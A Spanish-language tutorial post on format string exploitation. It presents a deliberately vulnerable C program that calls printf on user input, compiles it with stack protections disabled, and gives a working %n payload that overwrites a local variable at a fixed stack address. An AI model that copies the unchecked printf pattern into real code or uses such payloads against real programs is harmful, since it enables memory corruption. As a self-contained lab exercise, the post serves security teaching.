Vulnerabilidad Format String 2.

%x Hexadecimal
%s Cadena de caracteres
%p Puntero a direcciones
%d Integer
%u Unsigned Integer
%o Octal
%f Flotante
%c Caracter
n imprimir

Vamos a compilar este código sin algunas protecciones

void vuln()
{
int acceso = 1;
char buffer[64];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
if(acceso == 32) {
printf(" lograste la vulnerabilidad de format string\n");
}
}
int main(int argc, char **argv)
{
vuln();
}

gcc -m32 -z execstack -z norelro -fno-stack-protector -o formato2 formato2.c

Otro ejemplo de format string pero ahora solo vamos a agregar un integer, es más sencillo pero es otra forma de practicar lo aprendido.

Vamos a colocar las tres formas de descubrir donde esta guardada la variable 0x1 de “acceso”.









Ya tenemos muy confirmado donde está guardado el valor 1 = “0xffffd23c”

Ahora es buscar si es vulnerable el printf, vamos a repetir proceso.





Vamos a poner un break en printf y después para ver como cambia el valor.



Listo. Valor cambiado, ahora ¿qué paso sigue?, pues colocar el integer que pide que es 32, recordemos que es 32 - 4 = 28, porque (\x3c\xd2\xff\xff ← (a estos 4 me refiero)) = 28.

$(python2 -c 'print "\x3c\xd2\xff\xff%28x%7$n"')



Se logró el objetivo de encontrar la vulnerabilidad del formato 2.